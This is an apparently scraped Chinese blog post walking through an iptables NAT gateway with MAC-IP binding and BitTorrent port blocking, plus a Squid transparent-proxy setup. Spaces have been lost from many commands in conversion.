<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/modprobeipt_LOG</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">forTABLEinfilternatmangle;do</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">$IPT-t$TABLE-F</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">$IPT-t$TABLE-X</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">done</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-PINPUTDROP</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-POUTPUTDROP</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-PFORWARDDROP</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">$IPT-tnat-PPREROUTINGACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">$IPT-tnat-PPOSTROUTINGACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">$IPT-tnat-POUTPUTACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AINPUT-ilo-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AOUTPUT-olo-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AINPUT-ieth1-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AOUTPUT-oeth1-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AINPUT-ieth0-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AOUTPUT-oeth0-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-mstate&#8211;stateESTABLISHED,RELATED-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.18-mmac&#8211;mac-source00:10:DC:6B:C6:31-jACCEPT#MAC</span><span>、<span lang="EN-US">IP</span>地址绑定校验</span><span lang="EN-US"></span></p>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.111-mmac&#8211;mac-source00:10:5C:C0:2B:C1-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.13-mmac&#8211;mac-source4C:00:10:A3:38:5D-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.113-mmac&#8211;mac-source00:E0:4C:00:0C:2B-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.166-mmac&#8211;mac-source00:10:DC:61:B4:78-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.10-mmac&#8211;mac-source78:06:18:25:88:40-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.173-mmac&#8211;mac-source00:0F:1F:4D:EC:99-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.212-mmac&#8211;mac-source00:10:DC:6A:C0:C0-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.23-mmac&#8211;mac-source00:07:95:D8:C6:39-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.52-mmac&#8211;mac-source00:02:A5:2E:B9:56-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/iptables-AFORWARD-ptcp&#8211;dport6881:6890-jDROP#</span><span>限制<span lang="EN-US">BT</span>下载</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/iptables-AINPUT-ptcp&#8211;dport6881:6890-jDROP</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/iptables-AOUTPUT-ptcp&#8211;dport6881:6890-jDROP</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-ptcp-jLOG&#8211;log-levelinfo&#8211;log-prefix&#8221;INPUTpackets&#8221;#</span><span>加入<span lang="EN-US">iptablesLOG</span>信息<span lang="EN-US">,</span>注意，要启用</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">if["$INET_IFACE"=ppp0];theniptablesLOG</span><span>需要在<span lang="EN-US">/etc/syslog.conf</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">$IPT-tnat-APOSTROUTING-o$INET_IFACE-jMASQUERADE</span><span>中加入<span lang="EN-US">kern.=info/var/log/iptables</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">else</span><span>并重启<span lang="EN-US">syslog</span>服务</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">$IPT-tnat-APOSTROUTING-o$INET_IFACE-jSNAT&#8211;to$INET_IP</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">fi</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">3.</span><span>启动<span lang="EN-US">SQUID</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>修改<span lang="EN-US">/etc/squid/squid.conf</span>配置文件</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>将<span lang="EN-US">53</span>行的<span lang="EN-US">#http_port3128</span>修改为<span lang="EN-US">http_port3128</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>在<span lang="EN-US">1975</span>行加入<span lang="EN-US">visible_hostnamexxx#</span>也可以写机器名</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>修改<span lang="EN-US">cache_mem8MB</span>为<span lang="EN-US">cache_mem170MB#</span>在<span lang="EN-US">480</span>行，大约使用内存的<span lang="EN-US">1/3</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>修改<span lang="EN-US">cache_dirufs/var/spool/squid10016256</span>为<span lang="EN-US">cache_dirufs/var/spool/squid51224256#</span>在<span lang="EN-US">679</span>行，<span lang="EN-US">512</span>代表缓存空间容量，<span lang="EN-US">24</span>代表第一层目录数，<span lang="EN-US">256</span>代表第二层目录数</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>在<span lang="EN-US">1699</span>行加入<span lang="EN-US">aclmyclientsrc192.168.10.0/24#</span>定义<span lang="EN-US">ip</span>网段代码</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>在<span lang="EN-US">1760</span>行加入<span lang="EN-US">http_accessallowmyclient#</span>在<span lang="EN-US">http_accessallowlocalhosthttp_accessdenyall</span>两行配置之前加入该配置</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>将错误信息页面链接到简体中文</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">[root@test2squid]#cd/etc/squid/</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">[root@test2squid]#rm-ferrors</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">[root@test2squid]#ln-s/usr/share/squid/errors/Simplify_Chinese/errors</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">[root@test2squid]#ll-derrors</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">lrwxrwxrwx1rootroot413</span><span>月<span lang="EN-US">1710:11errors-&gt;/usr/share/squid/errors/Simplify_Chinese/</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">[root@test2squid]#</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>初始化和启动<span lang="EN-US">squid</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">[root@test2squid]#squid-z#</span><span>创建<span lang="EN-US">squid</span>缓存目录</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">2005/03/1710:27:44|CreatingSwapDirectories</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">[root@test2squid]#servicesquidstart#</span><span>启动<span lang="EN-US">squid</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>启动<span lang="EN-US">squid</span>：<span lang="EN-US">.[</span>确定<span lang="EN-US">]</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">4.</span><span>设置透明代理</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>编辑<span lang="EN-US">/etc/squid/squid.conf</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>在<span lang="EN-US">2067</span>行添加以下配置</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">httpd_accel_hostvirtual</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">httpd_accel_port80</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">httpd_accel_with_proxyon</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">httpd_accel_uses_host_headeron</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>重新启动<span lang="EN-US">squid</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">[root@test2squid]#servicesquidrestart</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>停止<span lang="EN-US">squid</span>：<span lang="EN-US">..[</span>确定<span lang="EN-US">]</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>启动<span lang="EN-US">squid</span>：<span lang="EN-US">.[</span>确定<span lang="EN-US">]</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>修改<span lang="EN-US">/etc/xxxiptables</span>脚本，加入</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-tnat-APREROUTING-ieth1-ptcp&#8211;dport80-jREDIRECT&#8211;to-ports3128</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">[root@test2squid]#cat/etc/xxx</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">#!/bin/bash</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">echo&#8221;1&#8243;&gt;/proc/sys/net/ipv4/ip_forward</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">INET_IFACE=&#8221;eth0&#8243;</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">INET_IP=&#8221;210.75.18.36&#8243;</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">LAN_IFACE=&#8221;eth1&#8243;</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">LAN_IP=&#8221;192.168.10.2&#8243;</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">LAN_IP_RANGE=&#8221;192.168.10.0/24&#8243;</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">IPT=&#8221;/sbin/iptables&#8221;</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/depmod-a</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/modprobeip_tables</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/modprobeiptable_nat</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/modprobeip_nat_ftp</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/modprobeipt_mac</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/modprobeipt_state</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/modprobeipt_LOG</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">forTABLEinfilternatmangle;do</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">$IPT-t$TABLE-F</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">$IPT-t$TABLE-X</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">done</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-PINPUTDROP</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-POUTPUTDROP</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-PFORWARDDROP</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">$IPT-tnat-PPREROUTINGACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">$IPT-tnat-PPOSTROUTINGACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">$IPT-tnat-POUTPUTACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AINPUT-ilo-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AOUTPUT-olo-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AINPUT-ieth1-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AOUTPUT-oeth1-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AINPUT-ieth0-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AOUTPUT-oeth0-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-mstate&#8211;stateESTABLISHED,RELATED-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.18-mmac&#8211;mac-source00:10:DC:6B:C6:31-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.111-mmac&#8211;mac-source00:10:5C:C0:2B:C1-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.13-mmac&#8211;mac-source4C:00:10:A3:38:5D-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.113-mmac&#8211;mac-source00:E0:4C:00:0C:2B-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.166-mmac&#8211;mac-source00:10:DC:61:B4:78-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.10-mmac&#8211;mac-source78:06:18:25:88:40-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.173-mmac&#8211;mac-source00:0F:1F:4D:EC:99-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.212-mmac&#8211;mac-source00:10:DC:6A:C0:C0-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.23-mmac&#8211;mac-source00:07:95:D8:C6:39-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-s192.168.10.52-mmac&#8211;mac-source00:02:A5:2E:B9:56-jACCEPT</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/iptables-AFORWARD-ptcp&#8211;dport6881:6890-jDROP</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/iptables-AINPUT-ptcp&#8211;dport6881:6890-jDROP</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/iptables-AOUTPUT-ptcp&#8211;dport6881:6890-jDROP</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-AFORWARD-ptcp-jLOG&#8211;log-levelinfo&#8211;log-prefix&#8221;INPUTpackets&#8221;</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">iptables-tnat-APREROUTING-ieth1-ptcp&#8211;dport80-jREDIRECT&#8211;to-ports3128</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">if["$INET_IFACE"=ppp0];then</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">$IPT-tnat-APOSTROUTING-o$INET_IFACE-jMASQUERADE</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">else</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">$IPT-tnat-APOSTROUTING-o$INET_IFACE-jSNAT&#8211;to$INET_IP</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">fi</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>再执行<span lang="EN-US">/etc/xxx</span>即可</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">5.</span><span>限制下载<span lang="EN-US">BT</span>文件</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>修改<span lang="EN-US">/etc/squid/squid.conf</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>在<span lang="EN-US">444</span>行增加<span lang="EN-US">aclBTurlpath_regex-i\.torrent$#</span>如果还需禁止下载<span lang="EN-US">mp3</span>等等，可以设定为<span lang="EN-US">aclBTurlpath_regex-i\.torrent$\.mp3$</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>在<span lang="EN-US">1762</span>行增加<span lang="EN-US">http_accessdenyBT#</span>注意：必须放在<span lang="EN-US">http_accessallowmyclientshttp_accessallowlocalhost</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">http_accessdenyall</span><span>三句配置之前</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>重新启动<span lang="EN-US">squid</span></span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">[root@test2squid]#servicesquidrestart</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>停止<span lang="EN-US">squid</span>：<span lang="EN-US">.[</span>确定<span lang="EN-US">]</span></span><span lang="EN-US"></span></p>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
<span>启动<span lang="EN-US">squid</span>：<span lang="EN-US">.</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/136.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
